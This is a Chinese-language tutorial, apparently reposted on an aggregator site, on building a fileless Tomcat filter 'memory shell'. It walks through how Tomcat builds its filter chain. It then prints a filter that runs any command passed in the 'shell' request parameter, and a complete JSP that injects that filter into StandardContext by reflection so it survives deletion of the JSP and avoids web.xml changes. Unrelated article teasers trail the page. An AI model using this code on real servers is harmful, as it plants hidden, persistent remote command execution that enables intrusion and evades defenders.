基于filter的内存马

主要是通过过滤器来拦截severlet请求中的参数,作为过滤器中的参数,来调用自定义过滤器中的恶意函数

在这里我们分析一下filter的实现原理,循序渐进


Demo1:


直接使用filter模拟内存马效果:


1.配置一个简单的severlet的web项目:

实现一个filter类:


package com.naihe;import javax.servlet.*;
import java.io.IOException;public class FilertDemo implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("初始加完成");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("过滤中。。。");}@Overridepublic void destroy() {System.out.println("过滤结束");}
}

配置xml:

效果:

可以看到这个无需指定木马文件就能实现webshell,看似很厉害,其实了解java开发都小伙伴都懂这都是最基础serverlet的基本功能,只是添加了一些恶意代码而已。不过这第一步我们就对内存马有了一定的感受(只是感受),接下来就是注意细节,该如何让它在实际中应用与更加隐蔽。

Demo2:


现在我们开始隐藏与实现


package com.naihe;import javax.servlet.*;
import java.io.IOException;public class FilertDemo implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("初始加完成");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("过滤中。。。");}@Overridepublic void destroy() {System.out.println("过滤结束");}
}

当然这里的代码还是之前的代码,只是为了方便小伙伴们看源码。
这里我们不使用xml配置filter,这样做的目的就是为了在实际中不修改xml从而触发filter,因为实际渗透中xml是不易修改的,而且容易被发现。
所以,现在我们就开始一步一步分析tomcat是如何通过web.xml生成的filter对象。
首先我们在filterChain变量这里打上断点

跟进doFilter:
会发现ApplicationFilterChain类的filters属性中包含了filter的信息

注意这里的第二个过滤器是tomcat自带的过滤器,且面分析还会用到

跟进internalDoFilter:

可以看到这里的filterConfig类中的filter并非我们之前创建的filter,因此我们可以回过头来看一下有没有我们的想要的filterConfig

确实存在,证明,这里的filter加载是按照顺序进行加载的,因此我们就当中我们在分析第一个filter(自定义的)。

进行查看代码发现后面调用了doFilter

这里就可以进入到tomcat自带的filter


filter切换大概流程:

ApplicationFilterChain(记录了所有filter的信息)--将$this->filter--》filterConfig(获得了一个filter的相关信息)--filterConfig.filter--》filter
--doFilter--》调用自定义filter中的恶意代码

分析到现在,ApplicationFilterChain到底从何而来呢?
我们往前找,找到了StandardWrapperValve这个类,他调用ApplicationFilterFactory的createFilterChain来创建了FilterChain对象

(然后自己调用doFilter进入第一个过滤器)

那么这个FilterChain对象是如何获取filert的相关信息的呢?
下面继续分析
往下查看其他代码发现并没有对filterChain中的值继续改变,说明filterChain中的与filter相关内容在创建是就已经填入了
因此进入ApplicationFilterFactory一探究竟

存放着过滤器名,过滤器实例

在这里获取获取filter的名字和对应的url

这里对应的是名字和过滤器的全限定名

将filterMap的内容添加到filterChain中,并返回filter的值
可知这三个属性都是与filter有关的

那这些值又是从何而来了,继续分析

可以看到又调用了一个类用来创建context

其实到后面分析的话就还是比较复杂了,然而我们也没必要溯源到底,我直接用反射创建对象利用就行,主要能让这个filter添加到其他filter里一起运行就行了。

又回到之前ApplicationFilterFactory里,这里会返回filterChain这个对象,如果我们直接filterConfig的内容,是不是就能在filterChain调用addFilter时,将filter添加进去。

而在上面分析,fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了

FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例
等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和
Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern,只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了

在这之前我们需要了解一些知识:

ServletContext:javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

ApplicationContext:org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext:Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

这三类是必须的


总体流程:


<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%//反射创建servletContextServletContext servletContext = request.getServletContext();ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");applicationContextFacadeContext.setAccessible(true);//反射创建applicationContextApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");applicationContextContext.setAccessible(true);//反射创建standardContextStandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);//创建filterConfigsField filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigs.setAccessible(true);HashMap hashMap = (HashMap) filterConfigs.get(standardContext);String filterName = "Filter";if (hashMap.get(filterName)==null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("注入初始化");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("过滤中。。。");}@Overridepublic void destroy() {
//                Filter.super.destroy();}};//构造filterDef对象FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(filterName);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);//构造filterMap对象FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(filterName);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);//构造filterConfigConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将filterConfig添加到filterConfigs中,即可完成注入hashMap.put(filterName,applicationFilterConfig);response.getWriter().println("successfully");}
%>

 先访问:

再执行:

这样一来我们就可以不用配置xml和创建filter类文件就可以直接,实现filter,并且就算jsp被删除,之前创建的对象依旧在内存中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/333775.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ssm基于Vue的戏剧推广网站论文

摘 要 如今社会上各行各业&#xff0c;都喜欢用自己行业的专属软件工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。新技术的产生&#xff0c;往往能解决一些老技术的弊端问题。因为传统戏剧推广信息管理难度大&#xff0c;容错率低&#xff0c…

揭秘证券公司网站部署的SSL证书品牌

近日&#xff0c;有多家证券公司因网络安全问题被点名&#xff0c;由此&#xff0c;建立完善的网络安全管理制度、采用适当的安全策略和工具&#xff0c;以营造安全的网络环境&#xff0c;更好的保护用户隐私和业务安全就显得尤为重要。SSL证书作为保护传输数据安全的重要工具&…

2024天津市大学软件学院专升本专业考试准考证打印、考场相关安排

天津市大学软件学院2024年“高职升本科”联合招生专业考试相关安排 一、考试安排 &#xff08;一&#xff09; 专业考试时间&#xff1a; 1月13日 15:00——17:00&#xff08;二&#xff09; 考场地址 1、天津市西青区宾水西道399号天津工业大学院内&#xff1b; 2、考场分布在…

【服务器数据恢复】Raid5热备盘同步失败导致lvm结构损坏的数据恢复案例

服务器数据恢复环境&#xff1a; 两组由4块磁盘组建的raid5磁盘阵列&#xff0c;两组raid5阵列划分为lun并组成了lvm结构&#xff0c;ext3文件系统。 服务器故障&#xff1a; 一组raid5阵列中的一块硬盘离线&#xff0c;热备盘自动上线并开始同步数据。在热备盘完成同步之前&am…

软件测试入门基础

说到软件测试&#xff0c;那么首先得和没有基础的同学们&#xff0c;讲解一下&#xff0c;平时我们使用的那些app&#xff0c;比如淘宝&#xff0c;微信是怎么进行交互的呢&#xff1f;在淘宝上下个订单&#xff0c;按钮按出去为什么就能下单成功呢&#xff1f;微信看朋友圈&am…

vue购物车案例、v-model进阶、与后端交互

一 购物车案例 - 结算 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>购物车结算</title><script src"https://cdn.bootcdn.net/ajax/libs/vue/2.6.12/vue.min.js"></scr…

【Scala】——函数式编程

1 面向对象编程和函数式编程 1.1 面向对象编程 解决问题&#xff0c;分解对象&#xff0c;行为&#xff0c;属性&#xff0c;然后通过对象的关系以及行为的调用来解决问题。 • 对象&#xff1a;用户 • 行为&#xff1a;登录、连接 JDBC、读取数据库 • 属性&#xff1a;用户…

Linux学习记录——삽심칠 传输层TCP协议(2)

文章目录 1、滑动窗口2、拥塞控制3、延迟应答4、捎带应答5、总结TCP可靠性和性能提高6、面向字节流7、粘包问题8、异常情况9、全连接、半连接 上一篇是传输层TCP协议&#xff08;1&#xff09;。本篇默认读者已经清楚TCP报头各个部分、可靠性和握手挥手的含义。 有时候会把客户…

AI大语言模型会带来了新一波人工智能浪潮?

以ChatGPT、LLaMA、Gemini、DALLE、Midjourney、Stable Diffusion、星火大模型、文心一言、千问为代表AI大语言模型带来了新一波人工智能浪潮&#xff0c;可以面向科研选题、思维导图、数据清洗、统计分析、高级编程、代码调试、算法学习、论文检索、写作、翻译、润色、文献辅助…

eclipse正则表达式替换 Find/Replace

Find/Replace 对话框中使用正则表达式 CTRLF 打开 Find/Replace 对话框勾选 Regular expressions ​ 匹配注释 下图中的Find&#xff1a;/.*/ ​ 匹配换行符 换行符&#xff1a;\R 下图中的Find表达式&#xff1a;\R.*Excel.* ​ 新增空行 /** 替换为 \R\t/** ​ 选…

FreeRTOS学习总结(二)FreeRTOS任务创建和删除API函数

实现动态创建任务流程 任务控制块结构体成员介绍 typedef struct tskTaskControlBlock {volatile StackType_t * pxTopOfStack; /* 任务栈栈顶&#xff0c;必须为TCB第一个成员 */ListItem_t xStateListItem; /* 任务状态列表项 */ Li…

【深度学习每日小知识】Data Augmentation 数据增强

数据增强是通过对原始数据进行各种转换和修改来人工生成附加数据的过程&#xff0c;旨在增加机器学习模型中训练数据的大小和多样性。这对于计算机视觉领域尤为重要&#xff0c;因为图像经常被用作输入数据。 计算机视觉中的数据增强 数据增强的主要目标是解决过拟合问题&…